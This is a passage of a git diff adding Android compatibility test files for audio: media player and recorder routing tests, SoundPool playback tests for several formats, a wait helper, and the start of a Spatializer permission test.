+        mediaPlayer.removeOnRoutingChangedListener(listener);
+        mediaPlayer.stop();
+        mediaPlayer.release();
+
+        if (listener.isCallExpected()) {
+            assertTrue("Routing changed callback has not been called",
+                    listener.isRoutingListenerCalled());
+        }
+    }
+
+    public void test_mediaPlayer_incallMusicRoutingPermissions() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        // only apps with MODIFY_PHONE_STATE permission can route playback
+        // to the uplink stream during a phone call, so this test makes sure that
+        // audio is re-routed to default device when the permission is missing
+
+        AudioDeviceInfo telephonyDevice = getTelephonyDeviceAndSetInCommunicationMode();
+        if (telephonyDevice == null) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = null;
+
+        try {
+            mediaPlayer = allocMediaPlayer(telephonyDevice, false);
+            assertEquals(AudioDeviceInfo.TYPE_TELEPHONY, mediaPlayer.getPreferredDevice().getType());
+            mediaPlayer.start();
+            // Sleep for 1s to ensure the underlying AudioTrack is created and started
+            SystemClock.sleep(1000);
+            telephonyDevice = mediaPlayer.getRoutedDevice();
+            // 3 behaviors are accepted when permission to play to telephony device is rejected:
+            // - indicate a null routed device
+            // - fallback to another device for playback
+            // - stop playback in error.
+            assertTrue(telephonyDevice == null
+                    || telephonyDevice.getType() != AudioDeviceInfo.TYPE_TELEPHONY
+                    || !mediaPlayer.isPlaying());
+        } finally {
+            if (mediaPlayer != null) {
+                mediaPlayer.stop();
+                mediaPlayer.release();
+            }
+            mAudioManager.setMode(AudioManager.MODE_NORMAL);
+        }
+    }
+
+    private MediaRecorder allocMediaRecorder() throws Exception {
+        final String outputPath = new File(mContext.getExternalFilesDir(null),
+            "record.out").getAbsolutePath();
+        mOutFile = new File(outputPath);
+        MediaRecorder mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        assertEquals(0, mediaRecorder.getMaxAmplitude());
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mediaRecorder.setOutputFile(outputPath);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+        mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+        mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+        mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+        mediaRecorder.prepare();
+        mediaRecorder.start();
+        // Sleep a while to ensure the underlying AudioRecord is initialized.
+        Thread.sleep(1000);
+        return mediaRecorder;
+    }
+
+    public void test_mediaRecorder_preferredDevice() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+                || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // None selected (new MediaPlayer), so check for default
+        assertNull(mediaRecorder.getPreferredDevice());
+
+        // resets to default
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+                // Only try to set devices whose type is contained in predefined set as preferred
+                // device in case of permission denied when switching input device.
+                continue;
+            }
+            assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+            assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+        assertNull(mediaRecorder.getPreferredDevice());
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+        assertNotNull(routedDevice); // we probably can't say anything more than this
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_RoutingListener() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // null listener
+        mediaRecorder.addOnRoutingChangedListener(null, null);
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+        // add a listener
+        mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+        // remove listeners we didn't add
+        mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+        // remove a valid listener
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Looper myLooper = prepareIfNeededLooper();
+        mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SafeWaitObject.java b/tests/tests/media/audio/src/android/media/audio/cts/SafeWaitObject.java
new file mode 100644
index 0000000..2f4801e
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SafeWaitObject.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+/**
+ * Helper class to simplify the handling of spurious wakeups in Object.wait()
+ */
+final class SafeWaitObject {
+    private boolean mQuit = false;
+
+    public void safeNotify() {
+        synchronized (this) {
+            mQuit = true;
+            this.notify();
+        }
+    }
+
+    public void safeWait(long millis) throws InterruptedException {
+        final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
+        synchronized (this) {
+            while (!mQuit) {
+                final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
+                if (timeToWait < 0) {
+                    break;
+                }
+                this.wait(timeToWait);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolAacTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolAacTest.java
new file mode 100644
index 0000000..524669a
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolAacTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SoundPoolAacTest extends SoundPoolTest {
+
+    @Override
+    protected int getSoundA() {
+        return R.raw.a_4_aac;
+    }
+
+    @Override
+    protected int getSoundCs() {
+        return R.raw.c_sharp_5_aac;
+    }
+
+    @Override
+    protected int getSoundE() {
+        return R.raw.e_5_aac;
+    }
+
+    @Override
+    protected int getSoundB() {
+        return R.raw.b_5_aac;
+    }
+
+    @Override
+    protected int getSoundGs() {
+        return R.raw.g_sharp_5_aac;
+    }
+
+    @Override
+    protected String getFileName() {
+        return "a_4_aac.mp4";
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolHapticTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolHapticTest.java
new file mode 100644
index 0000000..3bdb3b3
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolHapticTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.audio.cts.R;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SoundPoolHapticTest extends SoundPoolTest {
+    @Override
+    protected AudioAttributes getAudioAttributes() {
+        // Unmute haptic channels here so that haptic playback
+        // will be selected if it is available.
+        return new AudioAttributes.Builder()
+                .setLegacyStreamType(AudioManager.STREAM_MUSIC)
+                .setHapticChannelsMuted(false).build();
+    }
+
+    @Override
+    protected int getSoundA() {
+        return R.raw.a_4_haptic;
+    }
+
+    @Override
+    protected int getSoundCs() {
+        return R.raw.c_sharp_5_haptic;
+    }
+
+    @Override
+    protected int getSoundE() {
+        return R.raw.e_5_haptic;
+    }
+
+    @Override
+    protected int getSoundB() {
+        return R.raw.b_5_haptic;
+    }
+
+    @Override
+    protected int getSoundGs() {
+        return R.raw.g_sharp_5_haptic;
+    }
+
+    @Override
+    protected String getFileName() {
+        return "a_4_haptic.ogg";
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolMidiTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolMidiTest.java
new file mode 100644
index 0000000..7efb6f6
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolMidiTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SoundPoolMidiTest extends SoundPoolTest {
+
+    @Override
+    protected int getSoundA() {
+        return R.raw.midi_a;
+    }
+
+    @Override
+    protected int getSoundCs() {
+        return R.raw.midi_cs;
+    }
+
+    @Override
+    protected int getSoundE() {
+        return R.raw.midi_e;
+    }
+
+    @Override
+    protected int getSoundB() {
+        return R.raw.midi_b;
+    }
+
+    @Override
+    protected int getSoundGs() {
+        return R.raw.midi_gs;
+    }
+
+    @Override
+    protected String getFileName() {
+        return "midi_a.mid";
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolOggTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolOggTest.java
new file mode 100644
index 0000000..0dde21e
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolOggTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SoundPoolOggTest extends SoundPoolTest {
+
+    @Override
+    protected int getSoundA() {
+        return R.raw.a_4;
+    }
+
+    @Override
+    protected int getSoundCs() {
+        return R.raw.c_sharp_5;
+    }
+
+    @Override
+    protected int getSoundE() {
+        return R.raw.e_5;
+    }
+
+    @Override
+    protected int getSoundB() {
+        return R.raw.b_5;
+    }
+
+    @Override
+    protected int getSoundGs() {
+        return R.raw.g_sharp_5;
+    }
+
+    @Override
+    protected String getFileName() {
+        return "a_4.ogg";
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolTest.java
new file mode 100644
index 0000000..01bf59c
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SoundPoolTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.SoundPool;
+import android.os.Build;
+import android.media.audio.cts.R;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiLevelUtil;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.util.Arrays;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(JUnitParamsRunner.class)
+abstract class SoundPoolTest {
+    private static final String TAG = "SoundPoolTest(Base)";
+
+    private static final int SOUNDPOOL_STREAMS = 4;
+    private static final int PRIORITY = 1;
+    private static final float LOUD = 1.f;
+    private static final float QUIET = LOUD / 4.f;
+    private static final float SILENT = 0.f;
+    private File mFile;
+    private SoundPool mSoundPool;
+
+    /**
+     * function to return resource ID for A4 sound.
+     * should be implemented by child class
+     * @return resource ID
+     */
+    protected abstract int getSoundA();
+
+    protected abstract int getSoundCs();
+
+    protected abstract int getSoundE();
+
+    protected abstract int getSoundB();
+
+    protected abstract int getSoundGs();
+
+    protected abstract String getFileName();
+
+    private int[] getSounds() {
+        int[] sounds = { getSoundA(),
+                         getSoundCs(),
+                         getSoundE(),
+                         getSoundB(),
+                         getSoundGs() };
+        return sounds;
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    protected AudioAttributes getAudioAttributes() {
+        return new AudioAttributes.Builder()
+                .setLegacyStreamType(AudioManager.STREAM_MUSIC).build();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mFile = new File(getContext().getFilesDir(), getFileName());
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mFile.exists()) {
+            mFile.delete();
+        }
+        if (mSoundPool != null) {
+            mSoundPool.release();
+            mSoundPool = null;
+            return;
+        }
+    }
+
+    @Test
+    public void testLoad() throws Exception {
+        mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
+                .setAudioAttributes(getAudioAttributes()).build();
+        int sampleId1 = mSoundPool.load(getContext(), getSoundA(), PRIORITY);
+        waitUntilLoaded(sampleId1);
+        // should return true, but returns false
+        mSoundPool.unload(sampleId1);
+
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(getSoundCs());
+        int sampleId2;
+        sampleId2 = mSoundPool.load(afd, PRIORITY);
+        waitUntilLoaded(sampleId2);
+        mSoundPool.unload(sampleId2);
+
+        FileDescriptor fd = afd.getFileDescriptor();
+        long offset = afd.getStartOffset();
+        long length = afd.getLength();
+        int sampleId3;
+        sampleId3 = mSoundPool.load(fd, offset, length, PRIORITY);
+        waitUntilLoaded(sampleId3);
+        mSoundPool.unload(sampleId3);
+
+        String path = mFile.getAbsolutePath();
+        createSoundFile(mFile);
+        int sampleId4;
+        sampleId4 = mSoundPool.load(path, PRIORITY);
+        waitUntilLoaded(sampleId4);
+        mSoundPool.unload(sampleId4);
+    }
+
+    private void createSoundFile(File f) throws Exception {
+        FileOutputStream fOutput = null;
+        try {
+            fOutput = new FileOutputStream(f);
+            InputStream is = getContext().getResources().openRawResource(getSoundA());
+            byte[] buffer = new byte[1024];
+            int length = is.read(buffer);
+            while (length != -1) {
+                fOutput.write(buffer, 0, length);
+                length = is.read(buffer);
+            }
+        } finally {
+            if (fOutput != null) {
+                fOutput.flush();
+                fOutput.close();
+            }
+        }
+    }
+
+    /**
+     * Parameterized tests consider 1, 2, 4 streams in the SoundPool.
+     */
+
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testSoundPoolOp(int streamCount) throws Exception {
+        // Mainline compatibility
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
+            Log.d(TAG, "API before S: Skipping testSoundPoolOp(" + streamCount + ")");
+            return;
+        }
+
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
+                .setAudioAttributes(getAudioAttributes()).build();
+        int sampleID = loadSampleSync(getSoundA(), PRIORITY);
+
+        int waitMsec = 1000;
+        float leftVolume = SILENT;
+        float rightVolume = LOUD;
+        int priority = 1;
+        int loop = 0;
+        float rate = 1f;
+        int streamID = mSoundPool.play(sampleID, leftVolume, rightVolume, priority, loop, rate);
+        assertTrue(streamID != 0);
+        Thread.sleep(waitMsec);
+        rate = 1.4f;
+        mSoundPool.setRate(streamID, rate);
+        Thread.sleep(waitMsec);
+        mSoundPool.setRate(streamID, 1f);
+        Thread.sleep(waitMsec);
+        mSoundPool.pause(streamID);
+        Thread.sleep(waitMsec);
+        mSoundPool.resume(streamID);
+        Thread.sleep(waitMsec);
+        mSoundPool.stop(streamID);
+
+        streamID = mSoundPool.play(sampleID, leftVolume, rightVolume, priority, loop, rate);
+        assertTrue(streamID != 0);
+        loop = -1;// loop forever
+        mSoundPool.setLoop(streamID, loop);
+        Thread.sleep(waitMsec);
+        leftVolume = SILENT;
+        rightVolume = SILENT;
+        mSoundPool.setVolume(streamID, leftVolume, rightVolume);
+        Thread.sleep(waitMsec);
+        rightVolume = LOUD;
+        mSoundPool.setVolume(streamID, leftVolume, rightVolume);
+        priority = 0;
+        mSoundPool.setPriority(streamID, priority);
+        Thread.sleep(waitMsec * 10);
+        mSoundPool.stop(streamID);
+        mSoundPool.unload(sampleID);
+    }
+
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testMultiSound(int streamCount) throws Exception {
+        // Mainline compatibility
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
+            Log.d(TAG, "API before S: Skipping testMultiSound(" + streamCount + ")");
+            return;
+        }
+
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
+                .setAudioAttributes(getAudioAttributes()).build();
+        int sampleID1 = loadSampleSync(getSoundA(), PRIORITY);
+        int sampleID2 = loadSampleSync(getSoundCs(), PRIORITY);
+        long waitMsec = 1000;
+        Thread.sleep(waitMsec);
+
+        // play sounds one at a time
+        int streamID1 = mSoundPool.play(sampleID1, LOUD, QUIET, PRIORITY, -1, 1);
+        assertTrue(streamID1 != 0);
+        Thread.sleep(waitMsec * 4);
+        mSoundPool.stop(streamID1);
+        int streamID2 = mSoundPool.play(sampleID2, QUIET, LOUD, PRIORITY, -1, 1);
+        assertTrue(streamID2 != 0);
+        Thread.sleep(waitMsec * 4);
+        mSoundPool.stop(streamID2);
+
+        // play both at once repeating the first, but not the second
+        streamID1 = mSoundPool.play(sampleID1, LOUD, QUIET, PRIORITY, 1, 1);
+        streamID2 = mSoundPool.play(sampleID2, QUIET, LOUD, PRIORITY, 0, 1);
+        assertTrue(streamID1 != 0);
+        assertTrue(streamID2 != 0);
+        Thread.sleep(4000);
+        // both streams should have stopped by themselves; no way to check
+
+        mSoundPool.release();
+        mSoundPool = null;
+    }
+
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testLoadMore(int streamCount) throws Exception {
+        // Mainline compatibility
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
+            Log.d(TAG, "API before S: Skipping testLoadMore(" + streamCount + ")");
+            return;
+        }
+
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
+                .setAudioAttributes(getAudioAttributes()).build();
+        int[] sounds = getSounds();
+        int[] soundIds = new int[sounds.length];
+        int[] streamIds = new int[sounds.length];
+        for (int i = 0; i < sounds.length; i++) {
+            soundIds[i] = loadSampleSync(sounds[i], PRIORITY);
+            System.out.println("load: " + soundIds[i]);
+        }
+        for (int i = 0; i < soundIds.length; i++) {
+            streamIds[i] = mSoundPool.play(soundIds[i], LOUD, LOUD, PRIORITY, -1, 1);
+        }
+        Thread.sleep(3000);
+        for (int stream : streamIds) {
+            assertTrue(stream != 0);
+            mSoundPool.stop(stream);
+        }
+        for (int sound : soundIds) {
+            mSoundPool.unload(sound);
+        }
+        mSoundPool.release();
+    }
+
+    @Test
+    public void testAutoPauseResume() throws Exception {
+        // The number of possible SoundPool streams simultaneously active is limited by
+        // track resources. Generally this is no greater than 32, but the actual
+        // amount may be less depending on concurrently running applications.
+        // Here we attempt to create more streams than what is normally possible;
+        // SoundPool should gracefully degrade to play those streams it can.
+        //
+        // Try to keep the maxStreams less than the number required to be active
+        // and certainly less than 20 to be cooperative to other applications.
+        final int TEST_STREAMS = 40;
+        SoundPool soundPool = null;
+        try {
+            soundPool = new SoundPool.Builder()
+                    .setAudioAttributes(getAudioAttributes())
+                    .setMaxStreams(TEST_STREAMS)
+                    .build();
+
+            // get our sounds
+            final int[] sounds = getSounds();
+
+            // set our completion listener
+            final int[] loadIds = new int[TEST_STREAMS];
+            final Object done = new Object();
+            final int[] loaded = new int[1]; // used as a "pointer" to an integer
+            final SoundPool fpool = soundPool; // final reference in scope of try block
+            soundPool.setOnLoadCompleteListener(new SoundPool.OnLoadCompleteListener() {
+                    @Override
+                    public void onLoadComplete(SoundPool pool, int sampleId, int status) {
+                        assertEquals(fpool, pool);
+                        assertEquals(0 /* success */, status);
+                        synchronized(done) {
+                            loadIds[loaded[0]++] = sampleId;
+                            if (loaded[0] == loadIds.length) {
+                                done.notify();
+                            }
+                        }
+                    }
+                });
+
+            // initiate loading
+            final int[] soundIds = new int[TEST_STREAMS];
+            for (int i = 0; i < soundIds.length; i++) {
+                soundIds[i] = soundPool.load(getContext(), sounds[i % sounds.length], PRIORITY);
+            }
+
+            // wait for all sounds to load,
+            // it usually takes about 33 seconds and 100 seconds is used to have some headroom.
+            final long LOAD_TIMEOUT_IN_MS = 100000;
+            final long startTime = System.currentTimeMillis();
+            synchronized(done) {
+                while (loaded[0] != soundIds.length) {
+                    final long waitTime =
+                            LOAD_TIMEOUT_IN_MS - (System.currentTimeMillis() - startTime);
+                    assertTrue(waitTime > 0);
+                    done.wait(waitTime);
+                }
+            }
+
+            // verify the Ids match (actually does sorting too)
+            Arrays.sort(loadIds);
+            Arrays.sort(soundIds);
+            assertTrue(Arrays.equals(loadIds, soundIds));
+
+            // play - should hear the following:
+            // 1 second of sound
+            // 1 second of silence
+            // 1 second of sound.
+            int[] streamIds = new int[soundIds.length];
+            for (int i = 0; i < soundIds.length; i++) {
+                streamIds[i] = soundPool.play(soundIds[i],
+                        0.5f /* leftVolume */, 0.5f /* rightVolume */, PRIORITY,
+                        -1 /* loop (infinite) */, 1.0f /* rate */);
+            }
+            Thread.sleep(1000 /* millis */);
+            soundPool.autoPause();
+            Thread.sleep(1000 /* millis */);
+            soundPool.autoResume();
+            Thread.sleep(1000 /* millis */);
+
+            // clean up
+            for (int stream : streamIds) {
+                assertTrue(stream != 0);
+                soundPool.stop(stream);
+            }
+            for (int sound : soundIds) {
+                assertEquals(true, soundPool.unload(sound));
+            }
+            // check to see we're really unloaded
+            for (int sound : soundIds) {
+                assertEquals(false, soundPool.unload(sound));
+            }
+        } finally {
+            if (soundPool != null) {
+                soundPool.release();
+                soundPool = null;
+            }
+        }
+    }
+
+    /**
+     * Load a sample and wait until it is ready to be played.
+     * @return The sample ID.
+     * @throws InterruptedException
+     */
+    private int loadSampleSync(int sampleId, int prio) throws InterruptedException {
+        int sample = mSoundPool.load(getContext(), sampleId, prio);
+        waitUntilLoaded(sample);
+        return sample;
+    }
+
+    /**
+     * Wait until the specified sample is loaded.
+     * @param sampleId The sample ID.
+     * @throws InterruptedException
+     */
+    private void waitUntilLoaded(int sampleId) throws InterruptedException {
+        int stream = 0;
+        while (stream == 0) {
+            Thread.sleep(500);
+            stream = mSoundPool.play(sampleId, SILENT, SILENT, 1, 0, 1);
+        }
+        mSoundPool.stop(stream);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
new file mode 100644
index 0000000..a304882
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
@@ -0,0 +1,460 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.Spatializer;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@NonMediaMainlineTest
+public class SpatializerTest extends CtsAndroidTestCase {
+
+    private AudioManager mAudioManager;
+    private static final String TAG = "SpatializerTest";
+    private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testGetSpatializer() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        assertNotNull("Spatializer shouldn't be null", spat);
+    }
+
+    public void testUnsupported() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testUnsupported, functionality supported");
+            return;
+        }
+        assertFalse(spat.isEnabled());
+        assertFalse(spat.isAvailable());
+    }
+
+    public void testSupportedDevices() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSupportedDevices, functionality unsupported");
+            return;
+        }
+
+        final AudioDeviceAttributes device = new AudioDeviceAttributes(
+                AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bla");
+        // try to add/remove compatible device without permission, expect failure
+        assertThrows("Able to call addCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.addCompatibleAudioDevice(device));
+        assertThrows("Able to call removeCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.removeCompatibleAudioDevice(device));
+        assertThrows("Able to call getCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.getCompatibleAudioDevices());
+
